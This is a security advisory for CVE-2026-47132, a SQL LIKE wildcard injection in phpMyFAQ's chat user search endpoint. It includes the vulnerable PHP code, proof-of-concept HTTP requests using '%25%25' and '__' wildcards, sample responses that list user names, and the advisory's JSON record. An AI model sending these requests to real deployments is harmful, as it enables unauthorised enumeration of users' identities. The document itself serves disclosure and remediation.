Search
Find a vulnerability
Search criteria
Related vulnerabilities
GHSA-6PVM-2VJJ-RX4W
Vulnerability from github – Published: 2026-08-12 15:17 – Updated: 2026-08-12 15:17
VLAI
Summary
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Details
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.
### Details
The vulnerable endpoint is:
GET /api/chat/users?q=...
Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb_strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP_OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());
Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));
$query = sprintf(
"SELECT u.user_id, ud.display_name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
WHERE u.user_id != %d
AND u.user_id > 0
AND LOWER(ud.display_name) LIKE '%%%s%%'
AND u.account_status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);
escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
### PoC:
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
- Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"
- Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": []
}
- Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]
Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}
The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
Host: target
Cookie: [authenticated session]
Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.
### Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
Severity
5.4 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0-alpha"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47132"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-200",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-12T15:17:54Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ\u2019s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape `%` and `_`, which remain active `LIKE` wildcards.\n\n ### Details\n\n The vulnerable endpoint is:\n```\n GET /api/chat/users?q=...\n```\n Source:\n```php\n // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php\n $query = trim($request-\u003equery-\u003eget(\u0027q\u0027, \u0027\u0027));\n\n if (mb_strlen($query) \u003c 2) {\n return $this-\u003ejson([\n \u0027success\u0027 =\u003e true,\n \u0027users\u0027 =\u003e [],\n ], Response::HTTP_OK);\n }\n\n $chat = new Chat($this-\u003econfiguration);\n $users = $chat-\u003esearchUsers($query, $this-\u003ecurrentUser-\u003egetUserId());\n```\n Sink:\n```php\n // phpmyfaq/src/phpMyFAQ/Chat.php\n $escapedTerm = $this-\u003econfiguration-\u003egetDb()-\u003eescape(mb_strtolower($searchTerm));\n\n $query = sprintf(\n \"SELECT u.user_id, ud.display_name\n FROM %sfaquser u\n LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id\n WHERE u.user_id != %d\n AND u.user_id \u003e 0\n AND LOWER(ud.display_name) LIKE \u0027%%%s%%\u0027\n AND u.account_status = \u0027active\u0027\n LIMIT %d\",\n Database::getTablePrefix(),\n Database::getTablePrefix(),\n $excludeUserId,\n $escapedTerm,\n $limit,\n );\n```\n `escape()` prevents SQL string breakout, but it does not escape SQL `LIKE` metacharacters. Therefore, attacker-controlled `%` and `_` are interpreted by the database as wildcards.\n\n The project already uses a safer pattern elsewhere with ESCAPE \u0027|\u0027 and wildcard escaping, but this chat search path does not apply it.\n\n ### PoC: \n\n Tested against:\n\n phpMyFAQ 4.2.0-alpha\n commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae\n\n Prerequisite: attacker has any valid authenticated user account.\n\n 1. Ensure there are multiple active users in the database, for example:\n```\n userId=2 displayName=\"Alice Finance\"\n userId=3 displayName=\"Bob Support\"\n userId=4 displayName=\"Carol Engineering\"\n```\n 2. Send a normal query that should not match any user:\n```\n GET /api/chat/users?q=zz HTTP/1.1\n Host: target\n Cookie: [authenticated session]\n```\n Observed response:\n```\n {\n \"success\": true,\n \"users\": []\n }\n```\n 3. Send a wildcard query:\n```\n GET /api/chat/users?q=%25%25 HTTP/1.1\n Host: target\n Cookie: [authenticated session]\n```\n Observed response:\n```\n {\n \"success\": true,\n \"users\": [\n {\n \"userId\": 2,\n \"displayName\": \"Alice Finance\"\n },\n {\n \"userId\": 3,\n \"displayName\": \"Bob Support\"\n },\n {\n \"userId\": 4,\n \"displayName\": \"Carol Engineering\"\n }\n ]\n }\n```\n The same issue is reproducible with `_` wildcards:\n```\n GET /api/chat/users?q=__ HTTP/1.1\n Host: target\n Cookie: [authenticated session]\n```\n Local confirmation was also performed by calling the vulnerable phpMyFAQ\\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while `q=%%` and `q=__` returned active users.\n\n ### Impact\n\n This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.\n\n### Video PoC:\n\nhttps://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f",
"id": "GHSA-6pvm-2vjj-rx4w",
"modified": "2026-08-12T15:17:54Z",
"published": "2026-08-12T15:17:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-6pvm-2vjj-rx4w"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/bd4b08b012234ccfcff07bfe6518062475b29e0a"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration"
}